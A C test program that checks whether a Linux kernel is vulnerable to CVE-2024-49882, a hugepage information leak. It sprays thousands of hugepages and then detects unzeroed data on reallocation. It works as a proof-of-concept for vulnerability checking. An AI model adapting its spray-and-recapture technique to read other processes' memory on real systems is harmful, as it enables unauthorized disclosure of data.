/*
 * test_hugepage_leak.c - Test CVE-2024-49882 Hugepage Information Leak
 * 
 * This test verifies if the kernel is vulnerable to CVE-2024-49882.
 * The bug: hugepages returned to the pool are not zeroed, leaking data.
 * 
 * IMPORTANT: Requires memory spraying to exhaust zeroed page pool!
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/mman.h>
#include <errno.h>

#define HUGEPAGE_SIZE (2 * 1024 * 1024)
#define MAGIC_PATTERN 0xDEADBEEFCAFEBABEULL
#define SPRAY_COUNT 3000  /* Number of hugepages to spray */

int main(int argc, char *argv[])
{
    int test_iterations = 50;
    int leaks_found = 0;
    void *spray_pages[SPRAY_COUNT];
    int spray_count = 0;
    
    printf("╔══════════════════════════════════════════════════════════════╗\n");
    printf("║  CVE-2024-49882 Hugepage Leak Test (with spraying)           ║\n");
    printf("╚══════════════════════════════════════════════════════════════╝\n\n");
    
    /* Check hugepage availability */
    FILE *f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages", "r");
    if (f) {
        int nr;
        fscanf(f, "%d", &nr);
        fclose(f);
        printf("[Info] Hugepages configured: %d\n", nr);
        
        if (nr < SPRAY_COUNT + 10) {
            printf("[Info] Increasing hugepage pool for spraying...\n");
            FILE *w = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages", "w");
            if (w) {
                fprintf(w, "%d\n", SPRAY_COUNT + 50);
                fclose(w);
            }
        }
    }
    
    f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages", "r");
    if (f) {
        int nr;
        fscanf(f, "%d", &nr);
        fclose(f);
        printf("[Info] Hugepages available: %d\n", nr);
    }
    
    /*
     * STEP 1: Spray hugepages to exhaust the zeroed pool
     */
    printf("\n[Spray] Allocating %d hugepages to exhaust zeroed pool...\n", SPRAY_COUNT);
    
    for (int i = 0; i < SPRAY_COUNT; i++) {
        spray_pages[i] = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE,
                              MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
        if (spray_pages[i] != MAP_FAILED) {
            /* Write pattern to each sprayed page */
            memset(spray_pages[i], 0x41 + (i % 26), HUGEPAGE_SIZE);
            spray_count++;
        }
    }
    printf("[Spray] Allocated %d hugepages\n", spray_count);
    
    if (spray_count < 10) {
        printf("[Error] Could not allocate enough hugepages for spraying\n");
        printf("        Try: echo 200 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages\n");
        return 1;
    }
    
    printf("[Test] Running %d iterations with spray active...\n\n", test_iterations);
    
    for (int i = 0; i < test_iterations; i++) {
        /* Step 1: Allocate and write pattern */
        void *page1 = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
        if (page1 == MAP_FAILED) {
            if (i < 5) printf("[%d] Failed to allocate first hugepage: %s\n", i, strerror(errno));
            continue;
        }
        
        /* Write unique magic pattern */
        uint64_t *p = (uint64_t *)page1;
        uint64_t unique_magic = MAGIC_PATTERN ^ ((uint64_t)i << 32) ^ 0x1234567890ABCDEFULL;
        for (int j = 0; j < 16; j++) {
            p[j * 512] = unique_magic + j;  /* Write at multiple offsets */
        }
        
        /* Store what we wrote */
        uint64_t written_values[16];
        for (int j = 0; j < 16; j++) {
            written_values[j] = p[j * 512];
        }
        
        /* Step 2: Release hugepage */
        munmap(page1, HUGEPAGE_SIZE);
        
        /* Step 3: Immediately try to recapture */
        void *page2 = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
        if (page2 == MAP_FAILED) {
            if (i < 5) printf("[%d] Failed to allocate second hugepage\n", i);
            continue;
        }
        
        /* Check if any of our patterns leaked */
        uint64_t *p2 = (uint64_t *)page2;
        int matches = 0;
        
        for (int j = 0; j < 16; j++) {
            if (p2[j * 512] == written_values[j]) {
                matches++;
            }
        }
        
        if (matches > 0) {
            printf("[%d] *** LEAK DETECTED! %d/16 patterns found ***\n", i, matches);
            leaks_found++;
            
            /* Show leaked data */
            printf("     Leaked values:\n");
            for (int j = 0; j < 4; j++) {
                printf("       Offset 0x%x: 0x%016lx (expected 0x%016lx) %s\n", 
                       j * 512 * 8, p2[j * 512], written_values[j],
                       p2[j * 512] == written_values[j] ? "✓" : "✗");
            }
        } else {
            /* Check if page has ANY non-zero content */
            int has_data = 0;
            for (int j = 0; j < 64; j++) {
                if (p2[j] != 0) {
                    has_data = 1;
                    break;
                }
            }
            
            if (i < 5 || i % 10 == 0) {
                printf("[%d] %s\n", i, has_data ? "Page has OTHER data (possible leak from spray)" : "Page zeroed");
            }
        }
        
        munmap(page2, HUGEPAGE_SIZE);
    }
    
    /* Cleanup spray */
    printf("\n[Cleanup] Releasing spray pages...\n");
    for (int i = 0; i < spray_count; i++) {
        if (spray_pages[i] != MAP_FAILED) {
            munmap(spray_pages[i], HUGEPAGE_SIZE);
        }
    }
    
    printf("\n════════════════════════════════════════════════════════════════\n");
    printf("RESULTS\n");
    printf("════════════════════════════════════════════════════════════════\n");
    printf("  Spray pages:  %d\n", spray_count);
    printf("  Iterations:   %d\n", test_iterations);
    printf("  Leaks found:  %d\n", leaks_found);
    
    if (leaks_found > 0) {
        printf("\n  *** KERNEL IS VULNERABLE TO CVE-2024-49882 ***\n");
        printf("  Hugepages are NOT being zeroed on release!\n");
    } else {
        printf("\n  No direct leaks detected.\n");
        printf("  Try increasing spray count or hugepage pool.\n");
    }
    printf("════════════════════════════════════════════════════════════════\n");
    
    return leaks_found > 0 ? 0 : 1;
}
